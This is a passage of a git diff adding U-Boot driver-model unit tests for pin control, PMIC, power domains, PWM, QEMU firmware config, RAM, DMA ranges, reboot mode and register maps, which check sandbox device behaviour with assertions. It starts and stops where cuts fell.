+ test_muxing_regaddr(0, 0x0, "0x00000000 UNCLAIMED");
+ test_muxing_regaddr(18, 0x48, "0x00000006 pinmux_pwm_pins");
+ test_muxing_regaddr(28, 0x70, "0x00000030 pinmux_uart0_pins");
+ test_muxing_regaddr(29, 0x74, "0x00000000 pinmux_uart0_pins");
+ test_muxing_regaddr(100, 0x190, "0x0000000c pinmux_spi0_pins");
+ test_muxing_regaddr(101, 0x194, "0x0000000c pinmux_spi0_pins");
+ test_muxing_regaddr(102, 0x198, "0x00000023 pinmux_spi0_pins");
+ test_muxing_regaddr(103, 0x19c, "0x0000000c pinmux_spi0_pins");
+ ret = pinctrl_get_pin_muxing(dev, 142, buf, sizeof(buf));
+ ut_asserteq(-EINVAL, ret);
+ ut_assertok(uclass_get_device_by_name(UCLASS_I2C, "i2c@0", &dev));
+ ut_assertok(uclass_get_device_by_name(UCLASS_VIDEO, "lcd", &dev));
+ ut_assertok(uclass_get_device_by_name(UCLASS_PINCTRL,
+ "pinctrl-single-bits", &dev));
+ ut_asserteq(160, pinctrl_get_pins_count(dev));
+ test_name(0, "PIN0");
+ test_name(159, "PIN159");
+ test_name(160, "Error");
+ test_muxing_regaddr(0, 0x0, "0x00000000 UNCLAIMED");
+ test_muxing_regaddr(34, 0x10, "0x00000200 pinmux_i2c0_pins");
+ test_muxing_regaddr(35, 0x10, "0x00002000 pinmux_i2c0_pins");
+ test_muxing_regaddr(130, 0x40, "0x00000200 pinmux_lcd_pins");
+ test_muxing_regaddr(131, 0x40, "0x00002000 pinmux_lcd_pins");
+ test_muxing_regaddr(132, 0x40, "0x00020000 pinmux_lcd_pins");
+ test_muxing_regaddr(133, 0x40, "0x00200000 pinmux_lcd_pins");
+ test_muxing_regaddr(134, 0x40, "0x02000000 pinmux_lcd_pins");
+ test_muxing_regaddr(135, 0x40, "0x20000000 pinmux_lcd_pins");
+ test_muxing_regaddr(136, 0x44, "0x00000002 pinmux_lcd_pins");
+ test_muxing_regaddr(137, 0x44, "0x00000020 pinmux_lcd_pins");
+ test_muxing_regaddr(138, 0x44, "0x00000200 pinmux_lcd_pins");
+ test_muxing_regaddr(139, 0x44, "0x00002000 pinmux_lcd_pins");
+ test_muxing_regaddr(140, 0x44, "0x00020000 pinmux_lcd_pins");
+ test_muxing_regaddr(141, 0x44, "0x00200000 pinmux_lcd_pins");
+ test_muxing_regaddr(142, 0x44, "0x02000000 pinmux_lcd_pins");
+ test_muxing_regaddr(143, 0x44, "0x20000000 pinmux_lcd_pins");
+ test_muxing_regaddr(144, 0x48, "0x00000002 pinmux_lcd_pins");
+ test_muxing_regaddr(145, 0x48, "0x00000020 pinmux_lcd_pins");
+ test_muxing_regaddr(146, 0x48, "0x00000000 UNCLAIMED");
+ test_muxing_regaddr(147, 0x48, "0x00000000 UNCLAIMED");
+ test_muxing_regaddr(148, 0x48, "0x00000000 UNCLAIMED");
+ test_muxing_regaddr(149, 0x48, "0x00000000 UNCLAIMED");
+ test_muxing_regaddr(150, 0x48, "0x02000000 pinmux_lcd_pins");
+ test_muxing_regaddr(151, 0x48, "0x00000000 UNCLAIMED");
+ test_muxing_regaddr(152, 0x4c, "0x00000002 pinmux_lcd_pins");
+ test_muxing_regaddr(153, 0x4c, "0x00000020 pinmux_lcd_pins");
+ test_muxing_regaddr(154, 0x4c, "0x00000000 UNCLAIMED");
+ test_muxing_regaddr(155, 0x4c, "0x00000000 UNCLAIMED");
+ test_muxing_regaddr(156, 0x4c, "0x00000000 UNCLAIMED");
+ test_muxing_regaddr(157, 0x4c, "0x00000000 UNCLAIMED");
+ test_muxing_regaddr(158, 0x4c, "0x02000000 pinmux_lcd_pins");
+ test_muxing_regaddr(159, 0x4c, "0x00000000 UNCLAIMED");
+ ret = pinctrl_get_pin_muxing(dev, 160, buf, sizeof(buf));
+ ut_asserteq(-EINVAL, ret);
+ return 0;
+}
+
+DM_TEST(dm_test_pinctrl_single, UT_TESTF_SCAN_FDT);
diff --git a/test/dm/pmc.c b/test/dm/pmc.c
new file mode 100644
index 00000000000..bbad1ee2741
--- /dev/null
+++ b/test/dm/pmc.c
@@ -0,0 +1,32 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Test for power-management controller uclass (PMC)
+ *
+ * Copyright 2019 Google LLC
+ */
+
+#include <dm.h>
+#include <power/acpi_pmc.h>
+#include <dm/test.h>
+#include <test/ut.h>
+
+/* Base test of the PMC uclass */
+static int dm_test_pmc_base(struct unit_test_state *uts)
+{
+ struct acpi_pmc_upriv *upriv;
+ struct udevice *dev;
+
+ ut_assertok(uclass_first_device_err(UCLASS_ACPI_PMC, &dev));
+
+ ut_assertok(pmc_disable_tco(dev));
+ ut_assertok(pmc_init(dev));
+ ut_assertok(pmc_prev_sleep_state(dev));
+
+ /* Check some values to see that I/O works */
+ upriv = dev_get_uclass_priv(dev);
+ ut_asserteq(0x24, upriv->gpe0_sts[1]);
+ ut_asserteq(0x64, upriv->tco1_sts);
+
+ return 0;
+}
+DM_TEST(dm_test_pmc_base, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
diff --git a/test/dm/pmic.c b/test/dm/pmic.c
new file mode 100644
index 00000000000..53a6f0369e8
--- /dev/null
+++ b/test/dm/pmic.c
@@ -0,0 +1,130 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Tests for the driver model pmic API
+ *
+ * Copyright (c) 2015 Samsung Electronics
+ * Przemyslaw Marczak <p.marczak@samsung.com>
+ */
+
+#include <errno.h>
+#include <dm.h>
+#include <fdtdec.h>
+#include <fsl_pmic.h>
+#include <malloc.h>
+#include <dm/device-internal.h>
+#include <dm/root.h>
+#include <dm/test.h>
+#include <dm/uclass-internal.h>
+#include <dm/util.h>
+#include <power/pmic.h>
+#include <power/sandbox_pmic.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+/* Test PMIC get method */
+
+static inline int power_pmic_get(struct unit_test_state *uts, char *name)
+{
+ struct udevice *dev;
+
+ ut_assertok(pmic_get(name, &dev));
+ ut_assertnonnull(dev);
+
+ /* Check PMIC's name */
+ ut_asserteq_str(name, dev->name);
+
+ return 0;
+}
+
+/* Test PMIC get method */
+static int dm_test_power_pmic_get(struct unit_test_state *uts)
+{
+ power_pmic_get(uts, "sandbox_pmic");
+
+ return 0;
+}
+DM_TEST(dm_test_power_pmic_get, UT_TESTF_SCAN_FDT);
+
+/* PMIC get method - MC34708 - for 3 bytes transmission */
+static int dm_test_power_pmic_mc34708_get(struct unit_test_state *uts)
+{
+ power_pmic_get(uts, "pmic@41");
+
+ return 0;
+}
+
+DM_TEST(dm_test_power_pmic_mc34708_get, UT_TESTF_SCAN_FDT);
+
+/* Test PMIC I/O */
+static int dm_test_power_pmic_io(struct unit_test_state *uts)
+{
+ const char *name = "sandbox_pmic";
+ uint8_t out_buffer, in_buffer;
+ struct udevice *dev;
+ int reg_count, i;
+
+ ut_assertok(pmic_get(name, &dev));
+
+ reg_count = pmic_reg_count(dev);
+ ut_asserteq(reg_count, SANDBOX_PMIC_REG_COUNT);
+
+ /*
+ * Test PMIC I/O - write and read a loop counter.
+ * usually we can't write to all PMIC's registers in the real hardware,
+ * but we can to the sandbox pmic.
+ */
+ for (i = 0; i < reg_count; i++) {
+ out_buffer = i;
+ ut_assertok(pmic_write(dev, i, &out_buffer, 1));
+ ut_assertok(pmic_read(dev, i, &in_buffer, 1));
+ ut_asserteq(out_buffer, in_buffer);
+ }
+
+ return 0;
+}
+DM_TEST(dm_test_power_pmic_io, UT_TESTF_SCAN_FDT);
+
+#define MC34708_PMIC_REG_COUNT 64
+#define MC34708_PMIC_TEST_VAL 0x125534
+static int dm_test_power_pmic_mc34708_regs_check(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ int reg_count;
+
+ ut_assertok(pmic_get("pmic@41", &dev));
+
+ /* Check number of PMIC registers */
+ reg_count = pmic_reg_count(dev);
+ ut_asserteq(reg_count, MC34708_PMIC_REG_COUNT);
+
+ return 0;
+}
+
+DM_TEST(dm_test_power_pmic_mc34708_regs_check, UT_TESTF_SCAN_FDT);
+
+static int dm_test_power_pmic_mc34708_rw_val(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ int val;
+
+ ut_assertok(pmic_get("pmic@41", &dev));
+
+ /* Check if single 3 byte read is successful */
+ val = pmic_reg_read(dev, REG_POWER_CTL2);
+ ut_asserteq(val, 0x422100);
+
+ /* Check if RW works */
+ val = 0;
+ ut_assertok(pmic_reg_write(dev, REG_RTC_TIME, val));
+ ut_assertok(pmic_reg_write(dev, REG_RTC_TIME, MC34708_PMIC_TEST_VAL));
+ val = pmic_reg_read(dev, REG_RTC_TIME);
+ ut_asserteq(val, MC34708_PMIC_TEST_VAL);
+
+ pmic_clrsetbits(dev, REG_POWER_CTL2, 0x3 << 8, 1 << 9);
+ val = pmic_reg_read(dev, REG_POWER_CTL2);
+ ut_asserteq(val, (0x422100 & ~(0x3 << 8)) | (1 << 9));
+
+ return 0;
+}
+
+DM_TEST(dm_test_power_pmic_mc34708_rw_val, UT_TESTF_SCAN_FDT);
diff --git a/test/dm/power-domain.c b/test/dm/power-domain.c
new file mode 100644
index 00000000000..120a9059c8e
--- /dev/null
+++ b/test/dm/power-domain.c
@@ -0,0 +1,48 @@
+// SPDX-License-Identifier: GPL-2.0
+/*
+ * Copyright (c) 2016, NVIDIA CORPORATION.
+ */
+
+#include <dm.h>
+#include <malloc.h>
+#include <dm/test.h>
+#include <asm/power-domain.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+/* This must match the specifier for power-domains in the DT node */
+#define TEST_POWER_DOMAIN 2
+
+static int dm_test_power_domain(struct unit_test_state *uts)
+{
+ struct udevice *dev_power_domain;
+ struct udevice *dev_test;
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_POWER_DOMAIN,
+ "power-domain",
+ &dev_power_domain));
+ ut_asserteq(0, sandbox_power_domain_query(dev_power_domain, 0));
+ ut_asserteq(0, sandbox_power_domain_query(dev_power_domain,
+ TEST_POWER_DOMAIN));
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_MISC, "power-domain-test",
+ &dev_test));
+ ut_asserteq(1, sandbox_power_domain_query(dev_power_domain,
+ TEST_POWER_DOMAIN));
+ ut_assertok(sandbox_power_domain_test_get(dev_test));
+
+ ut_assertok(sandbox_power_domain_test_on(dev_test));
+ ut_asserteq(0, sandbox_power_domain_query(dev_power_domain, 0));
+ ut_asserteq(1, sandbox_power_domain_query(dev_power_domain,
+ TEST_POWER_DOMAIN));
+
+ ut_assertok(sandbox_power_domain_test_off(dev_test));
+ ut_asserteq(0, sandbox_power_domain_query(dev_power_domain, 0));
+ ut_asserteq(0, sandbox_power_domain_query(dev_power_domain,
+ TEST_POWER_DOMAIN));
+
+ ut_assertok(sandbox_power_domain_test_free(dev_test));
+
+ return 0;
+}
+DM_TEST(dm_test_power_domain, UT_TESTF_SCAN_FDT);
diff --git a/test/dm/pwm.c b/test/dm/pwm.c
new file mode 100644
index 00000000000..80133347ec7
--- /dev/null
+++ b/test/dm/pwm.c
@@ -0,0 +1,44 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (C) 2017 Google, Inc
+ */
+
+#include <dm.h>
+#include <pwm.h>
+#include <asm/test.h>
+#include <dm/test.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+/* Basic test of the pwm uclass */
+static int dm_test_pwm_base(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ uint period_ns;
+ uint duty_ns;
+ bool enable;
+ bool polarity;
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_PWM, "pwm", &dev));
+ ut_assertnonnull(dev);
+ ut_assertok(pwm_set_config(dev, 0, 100, 50));
+ ut_assertok(pwm_set_enable(dev, 0, true));
+ ut_assertok(pwm_set_enable(dev, 1, true));
+ ut_assertok(pwm_set_enable(dev, 2, true));
+ ut_asserteq(-ENOSPC, pwm_set_enable(dev, 3, true));
+ ut_assertok(pwm_set_invert(dev, 0, true));
+
+ ut_assertok(pwm_set_config(dev, 2, 100, 50));
+ ut_assertok(sandbox_pwm_get_config(dev, 2, &period_ns, &duty_ns,
+ &enable, &polarity));
+ ut_asserteq(period_ns, 4096);
+ ut_asserteq(duty_ns, 50 * 4096 / 100);
+
+ ut_assertok(uclass_get_device(UCLASS_PWM, 0, &dev));
+ ut_assertok(uclass_get_device(UCLASS_PWM, 1, &dev));
+ ut_assertok(uclass_get_device(UCLASS_PWM, 2, &dev));
+ ut_asserteq(-ENODEV, uclass_get_device(UCLASS_PWM, 3, &dev));
+
+ return 0;
+}
+DM_TEST(dm_test_pwm_base, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
diff --git a/test/dm/qfw.c b/test/dm/qfw.c
new file mode 100644
index 00000000000..3c354163ef3
--- /dev/null
+++ b/test/dm/qfw.c
@@ -0,0 +1,41 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright 2021 Asherah Connor <ashe@kivikakk.ee>
+ */
+
+#include <qfw.h>
+#include <dm.h>
+#include <asm/test.h>
+#include <dm/test.h>
+#include <test/ut.h>
+
+/*
+ * Exercise the device enough to be satisfied the initialisation and DMA
+ * interfaces work.
+ */
+
+static int dm_test_qfw_cpus(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+
+ ut_assertok(uclass_first_device_err(UCLASS_QFW, &dev));
+ ut_asserteq(5, qfw_online_cpus(dev));
+
+ return 0;
+}
+
+DM_TEST(dm_test_qfw_cpus, UT_TESTF_SCAN_PDATA);
+
+static int dm_test_qfw_firmware_list(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ struct fw_file *file;
+
+ ut_assertok(uclass_first_device_err(UCLASS_QFW, &dev));
+ ut_assertok(qfw_read_firmware_list(dev));
+ ut_assertok_ptr((file = qfw_find_file(dev, "test-one")));
+
+ return 0;
+}
+
+DM_TEST(dm_test_qfw_firmware_list, UT_TESTF_SCAN_PDATA);
diff --git a/test/dm/ram.c b/test/dm/ram.c
new file mode 100644
index 00000000000..188c7c32758
--- /dev/null
+++ b/test/dm/ram.c
@@ -0,0 +1,28 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (C) 2015 Google, Inc
+ */
+
+#include <dm.h>
+#include <ram.h>
+#include <asm/global_data.h>
+#include <dm/test.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+DECLARE_GLOBAL_DATA_PTR;
+
+/* Basic test of the ram uclass */
+static int dm_test_ram_base(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ struct ram_info info;
+
+ ut_assertok(uclass_get_device(UCLASS_RAM, 0, &dev));
+ ut_assertok(ram_get_info(dev, &info));
+ ut_asserteq(0, info.base);
+ ut_asserteq(gd->ram_size, info.size);
+
+ return 0;
+}
+DM_TEST(dm_test_ram_base, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
diff --git a/test/dm/read.c b/test/dm/read.c
new file mode 100644
index 00000000000..4ecf18110d0
--- /dev/null
+++ b/test/dm/read.c
@@ -0,0 +1,48 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (c) 2020 Nicolas Saenz Julienne <nsaenzjulienne@suse.de>
+ */
+
+#include <dm.h>
+#include <dm/device.h>
+#include <dm/ofnode.h>
+#include <dm/root.h>
+#include <dm/test.h>
+#include <dm/uclass-internal.h>
+#include <test/ut.h>
+
+static int dm_test_dma_ranges(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ phys_addr_t cpu;
+ dma_addr_t bus;
+ ofnode node;
+ u64 size;
+
+ /* dma-ranges are on the device's node */
+ node = ofnode_path("/mmio-bus@0");
+ ut_assert(ofnode_valid(node));
+ ut_assertok(uclass_get_device_by_ofnode(UCLASS_TEST_BUS, node, &dev));
+ ut_assertok(dev_get_dma_range(dev, &cpu, &bus, &size));
+ ut_asserteq_64(0x40000, size);
+ ut_asserteq_64(0x0, cpu);
+ ut_asserteq_64(0x10000000, bus);
+
+ /* dma-ranges are on the bus' node */
+ node = ofnode_path("/mmio-bus@0/subnode@0");
+ ut_assert(ofnode_valid(node));
+ ut_assertok(uclass_get_device_by_ofnode(UCLASS_TEST_FDT, node, &dev));
+ ut_assertok(dev_get_dma_range(dev, &cpu, &bus, &size));
+ ut_asserteq_64(0x40000, size);
+ ut_asserteq_64(0x0, cpu);
+ ut_asserteq_64(0x10000000, bus);
+
+ /* No dma-ranges available */
+ node = ofnode_path("/mmio-bus@1");
+ ut_assert(ofnode_valid(node));
+ ut_assertok(uclass_get_device_by_ofnode(UCLASS_TEST_BUS, node, &dev));
+ ut_asserteq(-ENOENT, dev_get_dma_range(dev, &cpu, &bus, &size));
+
+ return 0;
+}
+DM_TEST(dm_test_dma_ranges, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
diff --git a/test/dm/reboot-mode.c b/test/dm/reboot-mode.c
new file mode 100644
index 00000000000..160b4da07f2
--- /dev/null
+++ b/test/dm/reboot-mode.c
@@ -0,0 +1,70 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * (C) 2018 Theobroma Systems Design und Consulting GmbH
+ */
+
+#include <dm.h>
+#include <reboot-mode/reboot-mode.h>
+#include <env.h>
+#include <log.h>
+#include <asm/gpio.h>
+#include <asm/rtc.h>
+#include <asm/test.h>
+#include <dm/test.h>
+#include <test/test.h>
+#include <test/ut.h>
+#include <rtc.h>
+#include <linux/byteorder/generic.h>
+
+static int dm_test_reboot_mode_gpio(struct unit_test_state *uts)
+{
+ struct udevice *gpio_dev;
+ struct udevice *rm_dev;
+ int gpio0_offset = 0;
+ int gpio1_offset = 1;
+
+ uclass_get_device_by_name(UCLASS_GPIO, "pinmux-gpios", &gpio_dev);
+
+ /* Prepare the GPIOs for "download" mode */
+ sandbox_gpio_set_direction(gpio_dev, gpio0_offset, 0);
+ sandbox_gpio_set_direction(gpio_dev, gpio1_offset, 0);
+ sandbox_gpio_set_value(gpio_dev, gpio0_offset, 1);
+ sandbox_gpio_set_value(gpio_dev, gpio1_offset, 1);
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_REBOOT_MODE,
+ "reboot-mode0", &rm_dev));
+ ut_assertok(dm_reboot_mode_update(rm_dev));
+
+ ut_asserteq_str("download", env_get("bootstatus"));
+
+ return 0;
+}
+
+DM_TEST(dm_test_reboot_mode_gpio,
+ UT_TESTF_PROBE_TEST | UT_TESTF_SCAN_FDT | UT_TESTF_FLAT_TREE);
+
+static int dm_test_reboot_mode_rtc(struct unit_test_state *uts)
+{
+ struct udevice *rtc_dev;
+ struct udevice *rm_dev;
+ u32 read_val;
+ u32 test_magic_val = cpu_to_be32(0x21969147);
+
+ uclass_get_device_by_name(UCLASS_RTC, "rtc@43",
+ &rtc_dev);
+ dm_rtc_write(rtc_dev, REG_AUX0, (u8 *)&test_magic_val, 4);
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_REBOOT_MODE,
+ "reboot-mode@14", &rm_dev));
+ ut_assertok(dm_reboot_mode_update(rm_dev));
+
+ ut_asserteq_str("test", env_get("bootstatus"));
+
+ dm_rtc_read(rtc_dev, REG_AUX0, (u8 *)&read_val, 4);
+ ut_asserteq(read_val, 0);
+
+ return 0;
+}
+
+DM_TEST(dm_test_reboot_mode_rtc,
+ UT_TESTF_PROBE_TEST | UT_TESTF_SCAN_FDT | UT_TESTF_FLAT_TREE);
diff --git a/test/dm/regmap.c b/test/dm/regmap.c
new file mode 100644
index 00000000000..1398f8f6573
--- /dev/null
+++ b/test/dm/regmap.c
@@ -0,0 +1,386 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (C) 2015 Google, Inc
+ */
+
+#include <dm.h>
+#include <log.h>
+#include <mapmem.h>
+#include <regmap.h>
+#include <syscon.h>
+#include <rand.h>
+#include <time.h>
+#include <asm/test.h>
+#include <dm/test.h>
+#include <dm/devres.h>
+#include <linux/err.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+/* Base test of register maps */
+static int dm_test_regmap_base(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ struct regmap *map;
+ ofnode node;
+ int i;
+
+ ut_assertok(uclass_get_device(UCLASS_SYSCON, 0, &dev));
+ map = syscon_get_regmap(dev);
+ ut_assertok_ptr(map);
+ ut_asserteq(1, map->range_count);
+ ut_asserteq(0x10, map->ranges[0].start);
+ ut_asserteq(16, map->ranges[0].size);
+ ut_asserteq(0x10, map_to_sysmem(regmap_get_range(map, 0)));
+
+ ut_assertok(uclass_get_device(UCLASS_SYSCON, 1, &dev));
+ map = syscon_get_regmap(dev);
+ ut_assertok_ptr(map);
+ ut_asserteq(4, map->range_count);
+ ut_asserteq(0x20, map->ranges[0].start);
+ for (i = 0; i < 4; i++) {
+ const unsigned long addr = 0x20 + 8 * i;
+
+ ut_asserteq(addr, map->ranges[i].start);
+ ut_asserteq(5 + i, map->ranges[i].size);
+ ut_asserteq(addr, map_to_sysmem(regmap_get_range(map, i)));
+ }
+
+ /* Check that we can't pretend a different device is a syscon */
+ ut_assertok(uclass_get_device(UCLASS_I2C, 0, &dev));
+ map = syscon_get_regmap(dev);
+ ut_asserteq_ptr(ERR_PTR(-ENOEXEC), map);
+
+ /* A different device can be a syscon by using Linux-compat API */
+ node = ofnode_path("/syscon@2");
+ ut_assert(ofnode_valid(node));
+
+ map = syscon_node_to_regmap(node);
+ ut_assertok_ptr(map);
+ ut_asserteq(4, map->range_count);
+ ut_asserteq(0x40, map->ranges[0].start);
+ for (i = 0; i < 4; i++) {
+ const unsigned long addr = 0x40 + 8 * i;
+
+ ut_asserteq(addr, map->ranges[i].start);
+ ut_asserteq(5 + i, map->ranges[i].size);
+ ut_asserteq(addr, map_to_sysmem(regmap_get_range(map, i)));
+ }
+
+ return 0;
+}
+DM_TEST(dm_test_regmap_base, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test we can access a regmap through syscon */
+static int dm_test_regmap_syscon(struct unit_test_state *uts)
+{
+ struct regmap *map;
+
+ map = syscon_get_regmap_by_driver_data(SYSCON0);
+ ut_assertok_ptr(map);
+ ut_asserteq(1, map->range_count);
+
+ map = syscon_get_regmap_by_driver_data(SYSCON1);
+ ut_assertok_ptr(map);
+ ut_asserteq(4, map->range_count);
+
+ map = syscon_get_regmap_by_driver_data(SYSCON_COUNT);
+ ut_asserteq_ptr(ERR_PTR(-ENODEV), map);
+
+ ut_asserteq(0x10, map_to_sysmem(syscon_get_first_range(SYSCON0)));
+ ut_asserteq(0x20, map_to_sysmem(syscon_get_first_range(SYSCON1)));
+ ut_asserteq_ptr(ERR_PTR(-ENODEV),
+ syscon_get_first_range(SYSCON_COUNT));
+
+ return 0;
+}
+
+DM_TEST(dm_test_regmap_syscon, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Read/Write/Modify test */
+static int dm_test_regmap_rw(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ struct regmap *map;
+ uint reg;
+
+ sandbox_set_enable_memio(true);
+ ut_assertok(uclass_get_device(UCLASS_SYSCON, 0, &dev));
+ map = syscon_get_regmap(dev);
+ ut_assertok_ptr(map);
+
+ ut_assertok(regmap_write(map, 0, 0xcacafafa));
+ ut_assertok(regmap_write(map, 5, 0x55aa2211));
+
+ ut_assertok(regmap_read(map, 0, &reg));
+ ut_asserteq(0xcacafafa, reg);
+ ut_assertok(regmap_read(map, 5, &reg));
+ ut_asserteq(0x55aa2211, reg);
+
+ ut_assertok(regmap_read(map, 0, &reg));
+ ut_asserteq(0xcacafafa, reg);
+ ut_assertok(regmap_update_bits(map, 0, 0xff00ff00, 0x55aa2211));
+ ut_assertok(regmap_read(map, 0, &reg));
+ ut_asserteq(0x55ca22fa, reg);
+ ut_assertok(regmap_update_bits(map, 5, 0x00ff00ff, 0xcacafada));
+ ut_assertok(regmap_read(map, 5, &reg));
+ ut_asserteq(0x55ca22da, reg);
+
+ return 0;
+}
+
+DM_TEST(dm_test_regmap_rw, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Get/Set test */
+static int dm_test_regmap_getset(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ struct regmap *map;
+ uint reg;
+ struct layout {
+ u32 val0;
+ u32 val1;
+ u32 val2;
+ u32 val3;
+ };
+
+ sandbox_set_enable_memio(true);
+ ut_assertok(uclass_get_device(UCLASS_SYSCON, 0, &dev));
+ map = syscon_get_regmap(dev);
+ ut_assertok_ptr(map);
+
+ regmap_set(map, struct layout, val0, 0xcacafafa);
+ regmap_set(map, struct layout, val3, 0x55aa2211);
+
+ ut_assertok(regmap_get(map, struct layout, val0, &reg));
+ ut_asserteq(0xcacafafa, reg);
+ ut_assertok(regmap_get(map, struct layout, val3, &reg));
+ ut_asserteq(0x55aa2211, reg);
+
+ return 0;
+}
+
+DM_TEST(dm_test_regmap_getset, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Read polling test */
+static int dm_test_regmap_poll(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ struct regmap *map;
+ uint reg;
+ unsigned long start;
+
+ ut_assertok(uclass_get_device(UCLASS_SYSCON, 0, &dev));
+ map = syscon_get_regmap(dev);
+ ut_assertok_ptr(map);
+
+ start = get_timer(0);
+
+ ut_assertok(regmap_write(map, 0, 0x0));
+ ut_asserteq(-ETIMEDOUT,
+ regmap_read_poll_timeout_test(map, 0, reg,
+ (reg == 0xcacafafa),
+ 1, 5 * CONFIG_SYS_HZ,
+ 5 * CONFIG_SYS_HZ));
+
+ ut_assert(get_timer(start) > (5 * CONFIG_SYS_HZ));
+
+ return 0;
+}
+
+DM_TEST(dm_test_regmap_poll, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+struct regmaptest_priv {
+ struct regmap *cfg_regmap; /* For testing regmap_config options. */
+ struct regmap *fld_regmap; /* For testing regmap fields. */
+ struct regmap_field **fields;
+};
+
+static const struct reg_field field_cfgs[] = {
+ {
+ .reg = 0,
+ .lsb = 0,
+ .msb = 6,
+ },
+ {
+ .reg = 2,
+ .lsb = 4,
+ .msb = 12,
+ },
+ {
+ .reg = 2,
+ .lsb = 12,
+ .msb = 15,
+ }
+};
+
+#define REGMAP_TEST_BUF_START 0
+#define REGMAP_TEST_BUF_SZ 5
+
+static int remaptest_probe(struct udevice *dev)
+{
+ struct regmaptest_priv *priv = dev_get_priv(dev);
+ struct regmap *regmap;
+ struct regmap_field *field;
+ struct regmap_config cfg;
+ int i;
+ static const int n = ARRAY_SIZE(field_cfgs);
+
+ /*
+ * To exercise all the regmap config options, create a regmap that
+ * points to a custom memory area instead of the one defined in device
+ * tree. Use 2-byte elements. To allow directly indexing into the
+ * elements, use an offset shift of 1. So, accessing offset 1 gets the
+ * element at index 1 at memory location 2.
+ *
+ * REGMAP_TEST_BUF_SZ is the number of elements, so we need to multiply
+ * it by 2 because r_size expects number of bytes.
+ */
+ cfg.reg_offset_shift = 1;
+ cfg.r_start = REGMAP_TEST_BUF_START;
+ cfg.r_size = REGMAP_TEST_BUF_SZ * 2;
+ cfg.width = REGMAP_SIZE_16;
+
+ regmap = devm_regmap_init(dev, NULL, NULL, &cfg);
+ if (IS_ERR(regmap))
+ return PTR_ERR(regmap);
+ priv->cfg_regmap = regmap;
+
+ memset(&cfg, 0, sizeof(struct regmap_config));
+ cfg.width = REGMAP_SIZE_16;
+
+ regmap = devm_regmap_init(dev, NULL, NULL, &cfg);
+ if (IS_ERR(regmap))
+ return PTR_ERR(regmap);
+ priv->fld_regmap = regmap;
+
+ priv->fields = devm_kzalloc(dev, sizeof(struct regmap_field *) * n,
+ GFP_KERNEL);
+ if (!priv->fields)
+ return -ENOMEM;
+
+ for (i = 0 ; i < n; i++) {
+ field = devm_regmap_field_alloc(dev, priv->fld_regmap,
+ field_cfgs[i]);
+ if (IS_ERR(field))
+ return PTR_ERR(field);
+ priv->fields[i] = field;
+ }
+
+ return 0;
+}
+
+static const struct udevice_id regmaptest_ids[] = {
+ { .compatible = "sandbox,regmap_test" },
+ { }
+};
+
+U_BOOT_DRIVER(regmap_test) = {
+ .name = "regmaptest_drv",
+ .of_match = regmaptest_ids,
+ .id = UCLASS_NOP,
+ .probe = remaptest_probe,
+ .priv_auto = sizeof(struct regmaptest_priv),
+};
+
+static int dm_test_devm_regmap(struct unit_test_state *uts)
+{
+ int i = 0;
+ uint val;
+ u16 pattern[REGMAP_TEST_BUF_SZ];
+ u16 *buffer;
+ struct udevice *dev;
+ struct regmaptest_priv *priv;
+
+ sandbox_set_enable_memio(true);
+
+ /*
+ * Map the memory area the regmap should point to so we can make sure
+ * the writes actually go to that location.
+ */
+ buffer = map_physmem(REGMAP_TEST_BUF_START,
+ REGMAP_TEST_BUF_SZ * 2, MAP_NOCACHE);
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_NOP, "regmap-test_0",
+ &dev));
+ priv = dev_get_priv(dev);
+
+ for (i = 0; i < REGMAP_TEST_BUF_SZ; i++) {
+ pattern[i] = i * 0x87654321;
+ ut_assertok(regmap_write(priv->cfg_regmap, i, pattern[i]));
+ }
+ for (i = 0; i < REGMAP_TEST_BUF_SZ; i++) {
+ ut_assertok(regmap_read(priv->cfg_regmap, i, &val));
+ ut_asserteq(val, buffer[i]);
+ ut_asserteq(val, pattern[i]);
+ }
+
+ ut_asserteq(-ERANGE, regmap_write(priv->cfg_regmap, REGMAP_TEST_BUF_SZ,
+ val));
+ ut_asserteq(-ERANGE, regmap_read(priv->cfg_regmap, REGMAP_TEST_BUF_SZ,
+ &val));
+ ut_asserteq(-ERANGE, regmap_write(priv->cfg_regmap, -1, val));
